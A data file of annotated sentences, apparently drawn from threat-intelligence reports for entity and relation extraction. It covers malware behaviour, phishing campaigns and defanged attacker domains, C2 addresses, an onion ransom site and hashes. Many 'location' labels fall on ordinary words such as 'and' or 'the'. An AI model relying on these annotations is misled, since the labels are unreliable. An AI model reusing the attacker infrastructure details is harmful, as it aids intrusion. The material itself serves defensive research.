{"id":6899,"text":"For example, attackers impersonate a journalist to seed false stories with other reporters to spread disinformation.","entities":[],"relations":[],"Comments":[]}
{"id":13528,"text":"It will enable the program participants to engage with various cyber and national experts across the US government.","entities":[],"relations":[],"Comments":[]}
{"id":453,"text":"DGA is an automation technique that attackers use to make it harder for defenders to protect against attacks.","entities":[],"relations":[],"Comments":[]}
{"id":10176,"text":"Indicators of Compromise (IoCs):  adfs[.]senate[.]group adfs-senate[.]email adfs-senate[.]services adfs.senate[.]qov[.]info chmail.ir[.]udelivered[.]tk webmail-ibsf[.]org fil-luge[.]com biathlovvorld[.]com mail-ibu[.]eu fisski[.]ca iihf[.]eu         Tags  Malware | APT & Targeted Attacks | Endpoints | Research | Phishing | Network","entities":[{"id":31063,"label":"location","start_offset":266,"end_offset":269},{"id":31064,"label":"attack-pattern","start_offset":314,"end_offset":322}],"relations":[],"Comments":[]}
{"id":13036,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[],"relations":[],"Comments":[]}
{"id":6361,"text":"The purpose of this is to copy the Brute Ratel C4 code (x64 assembly) onto the stack eight bytes at a time and eventually reassemble it into a memory space for execution \u2013 a DLL with a stripped MZ header.","entities":[{"id":19732,"label":"malware","start_offset":35,"end_offset":49},{"id":19733,"label":"location","start_offset":60,"end_offset":68},{"id":19734,"label":"location","start_offset":102,"end_offset":106},{"id":19735,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
{"id":13438,"text":"The data is then exfiltrated via email to a compromised email account.","entities":[],"relations":[],"Comments":[]}
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{"id":11923,"text":" This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2021.","entities":[],"relations":[],"Comments":[]}
{"id":4379,"text":"The oldest known sample is from 2020, and the tool is still under active development.","entities":[{"id":50191,"label":"TIME","start_offset":32,"end_offset":36}],"relations":[],"Comments":[]}
{"id":3753,"text":" The exception to this is Enemybot, a currently prevalent botnet built with bits of code from both Gafgyt and Mirai source code.","entities":[{"id":49584,"label":"malware","start_offset":110,"end_offset":115},{"id":49582,"label":"malware","start_offset":26,"end_offset":34},{"id":49583,"label":"malware","start_offset":99,"end_offset":105}],"relations":[{"id":835,"from_id":49582,"to_id":49583,"type":"variant-of"},{"id":836,"from_id":49582,"to_id":49584,"type":"variant-of"}],"Comments":[]}
{"id":2311,"text":"This number was in the 200s when we obtained the exploit chain.","entities":[],"relations":[],"Comments":[]}
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{"id":2194,"text":" Both the legitimate copy of the video player, as well as a malicious executable were bundled into a single executable.","entities":[],"relations":[],"Comments":[]}
{"id":2303,"text":" The websites leveraged for the attacks contained two iframes which served exploits from an attacker-controlled server\u2014one for iOS and the other for macOS.","entities":[{"id":47368,"label":"SOFTWARE","start_offset":127,"end_offset":130},{"id":47369,"label":"SOFTWARE","start_offset":149,"end_offset":154}],"relations":[],"Comments":[]}
{"id":2287,"text":"While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor\u2019s ability to conduct future operations.","entities":[{"id":47360,"label":"identity","start_offset":54,"end_offset":57},{"id":47359,"label":"malware","start_offset":44,"end_offset":52}],"relations":[],"Comments":[]}
{"id":13444,"text":"Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.","entities":[{"id":41854,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":41856,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
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{"id":8867,"text":"The tools used varied from network scanners to account harvesters.","entities":[],"relations":[],"Comments":[]}
{"id":3332,"text":"The JavaScript payload used to replace the original script of compromised websites     The delivered script is almost the same as the malicious script previously discussed in the section on the watering hole attack.","entities":[{"id":48410,"label":"attack-pattern","start_offset":194,"end_offset":214}],"relations":[],"Comments":[]}
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{"id":5201,"text":"The \u201cchatty\u201d nature of this discovery protocol and the fact that it expects a reply from each contacted participant, paired with easy-to-spoof transport protocols such as the User Datagram Protocol (UDP), make RTPS vulnerable to network reflection and amplification.","entities":[{"id":51250,"label":"attack-pattern","start_offset":229,"end_offset":265}],"relations":[],"Comments":[]}
{"id":6990,"text":"     Figure 15. Decompiled code from CapraRAT connecting to its C&C server      Figure 16. CapraRAT config showing its C&C server and port information       Figure 17.","entities":[{"id":21892,"label":"malware","start_offset":91,"end_offset":99},{"id":21893,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
{"id":4798,"text":"I thank the Committee for this attention on this critical issue.","entities":[],"relations":[],"Comments":[]}
{"id":9387,"text":"We also found some debug code left in CallerSpy.","entities":[],"relations":[],"Comments":[]}
{"id":8861,"text":"The difference between Trickbot and PlugX is that Trickbot is much easier to detect.","entities":[{"id":27420,"label":"location","start_offset":15,"end_offset":22},{"id":27422,"label":"location","start_offset":32,"end_offset":35},{"id":27423,"label":"malware","start_offset":36,"end_offset":41},{"id":27425,"label":"location","start_offset":62,"end_offset":66}],"relations":[],"Comments":[]}
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{"id":329,"text":"The attacker holds the key necessary to decrypt the files unless the victim agrees to pay a $500 ransom.  Unlike previous versions of CryptoWall, 2.0 communicates with its command and control (C2) server through the Tor anonymization network.","entities":[{"id":46021,"label":"malware","start_offset":134,"end_offset":149},{"id":46022,"label":"tools","start_offset":216,"end_offset":219},{"id":46023,"label":"Infrastucture","start_offset":172,"end_offset":203}],"relations":[{"id":145,"from_id":46021,"to_id":46022,"type":"uses"},{"id":144,"from_id":46021,"to_id":46023,"type":"beacons-to"}],"Comments":[]}
{"id":338,"text":"If these domains are confiscated or otherwise shut down, CryptoWall instructs the user to download the Tor Browser and access a website (paytordmbdekmizq.onion) that is only accessible over the Tor network.  Unlikely some of it\u2019s more flexible competition, CryptoWall only accepts ransom in the form of BitCoin.","entities":[{"id":46026,"label":"malware","start_offset":57,"end_offset":67},{"id":46027,"label":"tools","start_offset":103,"end_offset":114},{"id":46028,"label":"DOMAIN","start_offset":137,"end_offset":159},{"id":46029,"label":"SOFTWARE","start_offset":194,"end_offset":205},{"id":46031,"label":"SOFTWARE","start_offset":303,"end_offset":310},{"id":46030,"label":"malware","start_offset":257,"end_offset":267}],"relations":[{"id":149,"from_id":46026,"to_id":46027,"type":"related-to"},{"id":150,"from_id":46026,"to_id":46028,"type":"related-to"}],"Comments":[]}
{"id":1395,"text":" Palo Alto Networks Cortex XDR customers may leverage the following XQL queries, written by the Cortex Managed Threat Hunting service experts, to hunt their datasets for indicators related to WhisperGate malware:  The Unit 42 Threat Intelligence team remains vigilant in monitoring this evolving situation, is actively hunting for known indicators from recent events and is ready to put protections in place to thwart attacks against our customers.","entities":[{"id":45003,"label":"malware","start_offset":192,"end_offset":203},{"id":45002,"label":"identity","start_offset":1,"end_offset":19},{"id":45001,"label":"SOFTWARE","start_offset":20,"end_offset":30},{"id":45004,"label":"identity","start_offset":218,"end_offset":225},{"id":46744,"label":"identity","start_offset":218,"end_offset":250},{"id":46745,"label":"identity","start_offset":96,"end_offset":133}],"relations":[],"Comments":[]}
{"id":12946,"text":"If the link was not active, the user was redirected directly to a legitimate website.","entities":[],"relations":[],"Comments":[]}
{"id":8860,"text":"Svchost injection is not new \u2014 in fact, Trickbot and other malware variants use this technique.","entities":[{"id":27418,"label":"tools","start_offset":40,"end_offset":48},{"id":27419,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
{"id":2349,"text":"We then decided to try it on Big Sur (11.4) where it crashed and gave us the following exception.","entities":[{"id":45465,"label":"SOFTWARE","start_offset":29,"end_offset":43}],"relations":[],"Comments":[]}
{"id":438,"text":" Because these attacks happen due to code on the website, that code is either there with the site owner\u2019s knowledge and permission or not.","entities":[],"relations":[],"Comments":[]}
{"id":2214,"text":"After the download occurs, the malware immediately corrects the first two bytes with the \u2018MZ\u2019 characters prior to writing the file to disk.","entities":[],"relations":[],"Comments":[]}
{"id":4084,"text":"The actors reused part of the codes for command execution, while the C&C protocol is changed to Dropbox HTTPS APIs.","entities":[],"relations":[],"Comments":[]}
{"id":3948,"text":"In one of the endpoints, it will drop and execute Trojan.Win32.PRIVESC.A.","entities":[{"id":49796,"label":"malware","start_offset":50,"end_offset":72}],"relations":[],"Comments":[]}
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{"id":4668,"text":"When finished, a HTTP POST request is made to the C2 to relay the status and system information.","entities":[],"relations":[],"Comments":[]}
{"id":3856,"text":"These three files work together using a common technique call DLL Side-Loading or DLL Hijacking.","entities":[{"id":49714,"label":"attack-pattern","start_offset":62,"end_offset":78},{"id":49715,"label":"attack-pattern","start_offset":82,"end_offset":95}],"relations":[],"Comments":[]}
{"id":9818,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":4903,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":50917,"label":"attack-pattern","start_offset":45,"end_offset":53},{"id":50918,"label":"SOFTWARE","start_offset":69,"end_offset":74},{"id":50919,"label":"SOFTWARE","start_offset":140,"end_offset":148},{"id":50920,"label":"SOFTWARE","start_offset":150,"end_offset":158},{"id":50921,"label":"SOFTWARE","start_offset":162,"end_offset":169},{"id":50916,"label":"identity","start_offset":8,"end_offset":14}],"relations":[],"Comments":[]}
{"id":11073,"text":"We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
{"id":2059,"text":"That being said, when looking at the HTML source code of the site, we discovered a couple of references to the user observed before \u2013 x4kme \u2013 and other aliases such as uKn0wn, which was observed in the HelloXD ransomware samples.","entities":[{"id":47152,"label":"identity","start_offset":168,"end_offset":174},{"id":47150,"label":"identity","start_offset":134,"end_offset":139},{"id":47151,"label":"malware","start_offset":202,"end_offset":209}],"relations":[{"id":308,"from_id":47150,"to_id":47152,"type":"duplicate-of"}],"Comments":[]}
{"id":12627,"text":"Windows Defender is disabled, as well as the ability to send feedback\/malware samples to Microsoft.","entities":[],"relations":[],"Comments":[]}
{"id":1969,"text":" Now let\u2019s explore these vulnerabilities.","entities":[],"relations":[],"Comments":[]}
{"id":312,"text":"Palo Alto Networks currently tracks 90 different remote-access applications in Applipedia.","entities":[{"id":45786,"label":"SOFTWARE","start_offset":79,"end_offset":89},{"id":44692,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
{"id":4318,"text":"Notice the insertion of logos from the Pakistani Army, Air Force, Navy, and PR department.","entities":[{"id":50120,"label":"identity","start_offset":55,"end_offset":64},{"id":50121,"label":"identity","start_offset":66,"end_offset":70},{"id":50122,"label":"identity","start_offset":76,"end_offset":89},{"id":50119,"label":"identity","start_offset":39,"end_offset":53}],"relations":[],"Comments":[]}
{"id":9500,"text":"We obtained oRAT samples that register these routes:   GET \/agent\/info GET \/agent\/ping POST \/agent\/upload GET \/agent\/download GET \/agent\/screenshot GET \/agent\/zip GET \/agent\/unzip GET \/agent\/kill-self GET \/agent\/portscan GET \/agent\/proxy GET \/agent\/ssh GET \/agent\/net  PuppetDownloaders (C++ downloaders)","entities":[{"id":29155,"label":"malware","start_offset":12,"end_offset":16},{"id":29156,"label":"location","start_offset":30,"end_offset":38},{"id":29157,"label":"tools","start_offset":82,"end_offset":86},{"id":29158,"label":"location","start_offset":87,"end_offset":91},{"id":29159,"label":"malware","start_offset":212,"end_offset":220},{"id":29160,"label":"malware","start_offset":264,"end_offset":267}],"relations":[],"Comments":[]}
{"id":3773,"text":"Palo Alto Networks Next Generation Firewall Threat Prevention blocks CVE-2022-22954 exploits with Signature 92483.","entities":[{"id":49605,"label":"SOFTWARE","start_offset":0,"end_offset":61},{"id":49606,"label":"vulnerability","start_offset":69,"end_offset":83}],"relations":[],"Comments":[]}
{"id":13681,"text":"Sitemap      Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":1226,"text":"The other piece is included separately in the assets directory in APK files, and will be invoked by Java reflection in runtime (Figure 7).","entities":[],"relations":[],"Comments":[]}
{"id":1248,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":11127,"text":"While it\u2019s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we\u2019ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.","entities":[{"id":33997,"label":"attack-pattern","start_offset":55,"end_offset":63},{"id":33998,"label":"location","start_offset":197,"end_offset":202}],"relations":[],"Comments":[]}
{"id":2402,"text":"Because the Spring Framework is widely used for web system development and the severity of the vulnerability is critical (CVSS score of 9.8), CVE-2022-22965 is given the name SpringShell (and\/or Spring4Shell) by the infosec community.","entities":[{"id":47477,"label":"vulnerability","start_offset":142,"end_offset":156},{"id":47478,"label":"vulnerability","start_offset":175,"end_offset":186},{"id":47476,"label":"SOFTWARE","start_offset":12,"end_offset":28},{"id":47479,"label":"vulnerability","start_offset":195,"end_offset":207}],"relations":[],"Comments":[]}
{"id":1931,"text":"Patchwork has also recently employed Android malware in its attacks, with its use of a customized version of AndroRAT.","entities":[{"id":47056,"label":"malware","start_offset":109,"end_offset":117},{"id":47058,"label":"SOFTWARE","start_offset":37,"end_offset":44},{"id":47057,"label":"threat-actor","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":2204,"text":"In the event the malware is not running within the parent process of cmd.exe or explorer.exe, it will exit immediately.","entities":[{"id":6607,"label":"malware","start_offset":69,"end_offset":76}],"relations":[],"Comments":[]}
{"id":8637,"text":"The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.","entities":[{"id":26687,"label":"attack-pattern","start_offset":35,"end_offset":49},{"id":26688,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
{"id":14246,"text":"The timetable resembles traditional working hours for cybercriminals, compared to those with less structure who prefer starting their days late, but also working until very late hours.","entities":[],"relations":[],"Comments":[]}
{"id":13115,"text":"But security concerns persist.","entities":[],"relations":[],"Comments":[]}
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{"id":4377,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims\u2019 inboxes using previously acquired credentials.","entities":[{"id":50189,"label":"malware","start_offset":18,"end_offset":29}],"relations":[],"Comments":[]}
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{"id":12821,"text":"PLEAD and KIVARS, for instance, share the use of RTLO techniques to disguise their installers as documents.","entities":[{"id":39936,"label":"malware","start_offset":0,"end_offset":5},{"id":39937,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
{"id":13890,"text":"In our analysis of DarkSide samples, we saw that phishing, remote desktop protocol (RDP) abuse, and exploiting known vulnerabilities are the tactics used by the group to gain initial access.","entities":[{"id":43060,"label":"attack-pattern","start_offset":49,"end_offset":57},{"id":43061,"label":"attack-pattern","start_offset":59,"end_offset":82},{"id":43062,"label":"malware","start_offset":84,"end_offset":87},{"id":43063,"label":"location","start_offset":96,"end_offset":99},{"id":43064,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]}
{"id":13667,"text":"\u201cSwiftme\u201d is possibly a nod to electronic or wire transfers and reveals the campaign\u2019s purpose after harvesting credentials.","entities":[],"relations":[],"Comments":[]}
{"id":125,"text":"Unit 42 released details about attackers hijacking web browsers to mine for compute resources and exchange for cryptocurrency.","entities":[{"id":45840,"label":"identity","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
{"id":3166,"text":"That\u2019s what we\u2019ll continue to do, expanding and deepening our strategic partnerships with AWS and other providers in a collective effort to make the digital world safer.","entities":[{"id":48284,"label":"identity","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
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{"id":6112,"text":"Interestingly, the IP resolved by the initial website hosting the PlugX malware also served as a C2 server for different malware in mid-December 2013 (MD5: ddd46ce5e5eaaa8e61ce11a121a79266).","entities":[{"id":18905,"label":"malware","start_offset":66,"end_offset":71},{"id":18907,"label":"MD5","start_offset":156,"end_offset":188}],"relations":[],"Comments":[]}
{"id":1019,"text":"Additionally, it should be noted that there is value beyond the EDU account itself for password and security question information, in the event they are shared across other online accounts for the legitimate user.","entities":[],"relations":[],"Comments":[]}
{"id":267,"text":" Consistent with our previous reporting on the situation, Unit 42 continues to lead a company-wide effort to collect, evaluate and disseminate the latest intelligence on cyber activity related to Russia and Ukraine.","entities":[{"id":45785,"label":"identity","start_offset":58,"end_offset":65},{"id":45783,"label":"location","start_offset":196,"end_offset":202},{"id":45784,"label":"location","start_offset":207,"end_offset":214}],"relations":[],"Comments":[]}
{"id":3204,"text":"These tasks can run a BPS backdoor or a Cobalt Strike loader.","entities":[{"id":48334,"label":"tools","start_offset":40,"end_offset":53},{"id":48333,"label":"malware","start_offset":22,"end_offset":34}],"relations":[],"Comments":[]}
{"id":3657,"text":"Constant monitoring of threat groups is one of the ways that security researchers and law enforcement agencies are able defend systems against cybercrime.","entities":[],"relations":[],"Comments":[]}
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{"id":10327,"text":"Like the previous campaigns, these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell (PS) scripts leading to a backdoor payload.","entities":[{"id":31481,"label":"attack-pattern","start_offset":144,"end_offset":154}],"relations":[],"Comments":[]}
{"id":2482,"text":"Our signatures blocked the initial attempt to exploit the vulnerability so we cannot confirm if Mirai\u2019s attempts to exploit SpringShell have been successful.","entities":[{"id":47559,"label":"malware","start_offset":96,"end_offset":101},{"id":47560,"label":"vulnerability","start_offset":124,"end_offset":135}],"relations":[],"Comments":[]}
{"id":355,"text":" We need more facts to be sure, but this instance may be the first public breach related to the Heartbleed vulnerability since it was announced in April.","entities":[{"id":46052,"label":"TIME","start_offset":147,"end_offset":152},{"id":46053,"label":"vulnerability","start_offset":96,"end_offset":120}],"relations":[],"Comments":[]}
{"id":197,"text":"Appendix A: Cortex Xpanse: Identifying Assets That May Be Impacted by CISA\u2019s Known Exploited Vulnerabilities","entities":[{"id":45892,"label":"SOFTWARE","start_offset":12,"end_offset":25},{"id":45893,"label":"identity","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]}
{"id":13531,"text":"King also explains that the CSC report supports operationalizing cybersecurity partnership with the private sector and remolding how the government works with the private sector.","entities":[{"id":51593,"label":"identity","start_offset":28,"end_offset":31},{"id":51594,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
{"id":6916,"text":"The exploits were delivered via compromised legitimate websites (e.g. watering hole attacks), links to malicious websites, and email attachments in limited spear phishing campaigns.","entities":[{"id":21641,"label":"location","start_offset":79,"end_offset":83},{"id":21642,"label":"location","start_offset":123,"end_offset":126},{"id":21643,"label":"attack-pattern","start_offset":156,"end_offset":170}],"relations":[],"Comments":[]}
{"id":2878,"text":" The techniques used in this exploit are similar to those used in other recent attacks.","entities":[],"relations":[],"Comments":[]}
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{"id":2152,"text":"The important thing to note here is that the decoy Word document had nothing inherently malicious outside of the link to the template hosted at hxxp:\/\/xmlformats[.]com, allowing it to bypass EDR solutions.","entities":[{"id":47292,"label":"SOFTWARE","start_offset":51,"end_offset":55},{"id":47293,"label":"URL","start_offset":144,"end_offset":167}],"relations":[],"Comments":[]}
{"id":2073,"text":"We also got to observe how the domain \u0444\u0441\u0431[.]com used to look in October 2020 \u2013 a blog of sorts titled \u201cGhost in the Wire.\u201d","entities":[{"id":45250,"label":"DOMAIN","start_offset":38,"end_offset":47},{"id":45251,"label":"TIME","start_offset":64,"end_offset":76}],"relations":[],"Comments":[]}
{"id":6396,"text":"A deeper look at connections in and out of 213.200.56[.]105 further revealed several flows over UDP port 33445.","entities":[{"id":19840,"label":"location","start_offset":32,"end_offset":35},{"id":19841,"label":"IPV4","start_offset":43,"end_offset":59},{"id":19842,"label":"location","start_offset":105,"end_offset":110}],"relations":[],"Comments":[]}
{"id":1335,"text":" Multiple string obfuscation routines are included in this malware sample.","entities":[],"relations":[],"Comments":[]}
{"id":4249,"text":"Figure 6: Decompiled Form structure of Confucius\u2019 sample (d971842441c83c1bba05742d124620f5741bb5d5da9ffb31f06efa4bbdcf04ee, Detected as TSPY_CONFSTEAL.A)  Figure 7:","entities":[{"id":50051,"label":"SHA2","start_offset":58,"end_offset":122},{"id":50052,"label":"malware","start_offset":136,"end_offset":152}],"relations":[{"id":906,"from_id":50051,"to_id":50052,"type":"indicates"}],"Comments":[]}
{"id":4384,"text":" HYPERSCRAPE requires the victim\u2019s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.","entities":[{"id":50198,"label":"malware","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
{"id":1912,"text":"The malicious application then hides its icon on the device but still runs in the background, while the modified Threema works like normal.","entities":[{"id":47034,"label":"SOFTWARE","start_offset":113,"end_offset":120}],"relations":[],"Comments":[]}
{"id":350,"text":" To protect against CryptoWall 2.0 we recommend taking the following actions:  Adobe Reader Embedded BMP Parsing Integer Overflow Vulnerability  CVE-2014-0556  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":46038,"label":"SOFTWARE","start_offset":79,"end_offset":91},{"id":46039,"label":"vulnerability","start_offset":145,"end_offset":158},{"id":46037,"label":"malware","start_offset":20,"end_offset":34},{"id":46041,"label":"vulnerability","start_offset":92,"end_offset":143}],"relations":[{"id":152,"from_id":46037,"to_id":46039,"type":"exploits"}],"Comments":[]}
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{"id":5166,"text":"Let's continue this conversation because when we talk we all get better and more secure online.","entities":[],"relations":[],"Comments":[]}
{"id":3454,"text":"Blackgear (also known as Topgear and Comnie) is a cyberespionage campaign dating back to 2008, at least based on the Protux backdoor used by its operators.","entities":[{"id":49232,"label":"campaign","start_offset":0,"end_offset":9},{"id":49233,"label":"campaign","start_offset":25,"end_offset":32},{"id":49234,"label":"campaign","start_offset":37,"end_offset":43},{"id":49235,"label":"TIME","start_offset":89,"end_offset":93},{"id":49236,"label":"malware","start_offset":117,"end_offset":132}],"relations":[{"id":761,"from_id":49233,"to_id":49232,"type":"duplicate-of"},{"id":762,"from_id":49234,"to_id":49232,"type":"duplicate-of"}],"Comments":[]}
{"id":4590,"text":"Since then, there has been opportunistic exploitation by various threat actors and ransomware groups (Dearcry, BlackKingdom) since majority of Outlook Web App portals are public and indexed by search engines like Google Search, Shodan, Binaryedge, Censys, Zoomeye etc.","entities":[{"id":50458,"label":"SOFTWARE","start_offset":143,"end_offset":158},{"id":50459,"label":"SOFTWARE","start_offset":213,"end_offset":226},{"id":50461,"label":"SOFTWARE","start_offset":236,"end_offset":246},{"id":50462,"label":"SOFTWARE","start_offset":248,"end_offset":254},{"id":50456,"label":"threat-actor","start_offset":102,"end_offset":109},{"id":50457,"label":"threat-actor","start_offset":111,"end_offset":123},{"id":50463,"label":"SOFTWARE","start_offset":256,"end_offset":263},{"id":50460,"label":"SOFTWARE","start_offset":228,"end_offset":234}],"relations":[],"Comments":[]}
{"id":1790,"text":"The ADSS exploit abusing CVE-2021-40539     Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used.","entities":[{"id":46921,"label":"vulnerability","start_offset":25,"end_offset":39},{"id":46922,"label":"malware","start_offset":4,"end_offset":8}],"relations":[{"id":261,"from_id":46922,"to_id":46921,"type":"exploits"}],"Comments":[]}
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{"id":13570,"text":"This is usually used during an early stage of the attack to grab content from the victim\u2019s management page.","entities":[],"relations":[],"Comments":[]}
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{"id":6772,"text":"The downloaded document template contains the malicious macro codes, which executes a VBScript (VBS).","entities":[],"relations":[],"Comments":[]}
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{"id":12657,"text":"A more reasonable link to the Freezing ransomware family exists.","entities":[],"relations":[],"Comments":[]}
{"id":663,"text":"Whether they are work documents, e-receipts, or a lease on a new apartment \u2013 Office documents are useful to all of us, and this is part of the reason we\u2019re very likely to open an office document we receive as an attachment in e-mail.","entities":[],"relations":[],"Comments":[]}
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{"id":4623,"text":"Quick and easy to deploy solutions like Trend Micro Cloud One and Trend Micro Vision One can provide you with SecOps-approved security from build-time to runtime without slowing you down.","entities":[{"id":50534,"label":"SOFTWARE","start_offset":40,"end_offset":61},{"id":50535,"label":"SOFTWARE","start_offset":66,"end_offset":88}],"relations":[],"Comments":[]}
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{"id":1961,"text":"Microsoft recently released a patch for a critical vulnerability in Microsoft Secure Channel (aka Schannel).","entities":[{"id":47084,"label":"identity","start_offset":0,"end_offset":9},{"id":47085,"label":"SOFTWARE","start_offset":68,"end_offset":107}],"relations":[],"Comments":[]}
{"id":8009,"text":"A few were observed displaying a fake error message requiring user click-through to continue execution.","entities":[],"relations":[],"Comments":[]}
{"id":8614,"text":"As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.","entities":[],"relations":[],"Comments":[]}
{"id":13524,"text":"In collaboration with DOE's Idaho National Laboratory (INL) and the Foundation for Defense of Democracies' (FDD) Center for Cyber and Technology Innovation (CTTI), the OT Defender Fellowship hopes to expand the knowledge of primary US front-line critical infrastructure defenders.","entities":[{"id":51583,"label":"identity","start_offset":29,"end_offset":59},{"id":51584,"label":"identity","start_offset":68,"end_offset":105},{"id":51585,"label":"identity","start_offset":113,"end_offset":156},{"id":51587,"label":"identity","start_offset":168,"end_offset":190}],"relations":[],"Comments":[]}
{"id":5895,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
{"id":1390,"text":" Organizations running OctoberCMS prior to Build 472 and v1.1.5 are encouraged to update to the latest version.","entities":[{"id":46736,"label":"SOFTWARE","start_offset":23,"end_offset":33}],"relations":[],"Comments":[]}
{"id":525,"text":"It leads to downloading a ZIP archive that contains an LNK downloader.","entities":[{"id":44763,"label":"SOFTWARE","start_offset":26,"end_offset":29},{"id":44764,"label":"attack-pattern","start_offset":55,"end_offset":69}],"relations":[],"Comments":[]}
{"id":4915,"text":"The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.","entities":[],"relations":[],"Comments":[]}
{"id":1214,"text":"The message body contains the term \u201cYou will use\u201d (translated from Chinese shown in Figure 4).","entities":[],"relations":[],"Comments":[]}
{"id":2190,"text":" The malware used for the attempted infection purported to be a legitimate video player, providing viewing software for security camera solutions.","entities":[],"relations":[],"Comments":[]}
{"id":11898,"text":"There was no sandbox escape or implant delivered via this exploit.","entities":[],"relations":[],"Comments":[]}
{"id":10236,"text":"In the aforementioned research paper, we shared that Pawn Storm heavily abuses compromised accounts \u2014 mainly in the Middle East \u2014 to send spear-phishing emails.","entities":[{"id":31270,"label":"location","start_offset":138,"end_offset":143},{"id":31271,"label":"attack-pattern","start_offset":144,"end_offset":152}],"relations":[],"Comments":[]}
{"id":4502,"text":"This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.","entities":[{"id":50302,"label":"identity","start_offset":17,"end_offset":23}],"relations":[],"Comments":[]}
{"id":4802,"text":"Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.","entities":[{"id":50710,"label":"threat-actor","start_offset":179,"end_offset":203},{"id":50707,"label":"identity","start_offset":94,"end_offset":97},{"id":50709,"label":"attack-pattern","start_offset":28,"end_offset":42},{"id":50711,"label":"threat-actor","start_offset":210,"end_offset":233},{"id":50706,"label":"location","start_offset":82,"end_offset":89},{"id":50708,"label":"location","start_offset":11,"end_offset":18},{"id":50712,"label":"identity","start_offset":253,"end_offset":256}],"relations":[{"id":987,"from_id":50710,"to_id":50709,"type":"uses"},{"id":988,"from_id":50711,"to_id":50709,"type":"uses"},{"id":989,"from_id":50710,"to_id":50708,"type":"located-at"},{"id":990,"from_id":50711,"to_id":50708,"type":"located-at"},{"id":991,"from_id":50710,"to_id":50706,"type":"targets"},{"id":992,"from_id":50711,"to_id":50706,"type":"targets"}],"Comments":[]}
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{"id":2993,"text":"These devices gather some of your most personal information.","entities":[],"relations":[],"Comments":[]}
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{"id":12201,"text":"We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.","entities":[],"relations":[],"Comments":[]}
{"id":10158,"text":"In case an actor already has a foothold in an organization after compromising one user account, credential phishing could help him get closer to high profile users of interest.","entities":[{"id":31004,"label":"location","start_offset":3,"end_offset":7},{"id":31006,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]}
{"id":193,"text":" This post was substantially updated on Feb. 24 to add information on the recent DDoS attacks, HermeticWiper malware and website defacement; update our recommendations for how organizations should prepare for potential cyber impact; and provide additional details for our customers and clients on how we can help.","entities":[{"id":45866,"label":"TIME","start_offset":40,"end_offset":47},{"id":45867,"label":"attack-pattern","start_offset":81,"end_offset":93},{"id":45868,"label":"attack-pattern","start_offset":121,"end_offset":139},{"id":45865,"label":"malware","start_offset":95,"end_offset":108}],"relations":[],"Comments":[]}
{"id":6988,"text":" Once the Android RAT is executed, it will attempt to establish a connection to its C&C server, 209[.]127[.]19[.]241[:]10284.","entities":[{"id":21884,"label":"malware","start_offset":10,"end_offset":21},{"id":21885,"label":"location","start_offset":38,"end_offset":42}],"relations":[],"Comments":[]}
{"id":1361,"text":"We discovered that the vulnerable code existed in the Auth\/Models\/User.php file within the October Rain library of OctoberCMS.","entities":[{"id":46693,"label":"FILEPATH","start_offset":54,"end_offset":74},{"id":46694,"label":"SOFTWARE","start_offset":115,"end_offset":125}],"relations":[],"Comments":[]}
{"id":5006,"text":"We remain committed to updating the community as we uncover these campaigns.","entities":[],"relations":[],"Comments":[]}
{"id":13974,"text":"But, there is one cause that we can point to that has become especially problematic to the design and operations of security programs \u2013 the focus on the \u201ckill chain.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":11324,"text":"In later versions it was obfuscated with Base64.","entities":[],"relations":[],"Comments":[]}
{"id":349,"text":"A ransomware infection, which encrypts all of your files, is similar to a drive failure, except that for a small fee you have the chance to get your files back.","entities":[],"relations":[],"Comments":[]}
{"id":936,"text":"One of the most common ways to do this is by displaying advertisements to users or by offering in-app purchases (IAPs).","entities":[],"relations":[],"Comments":[]}
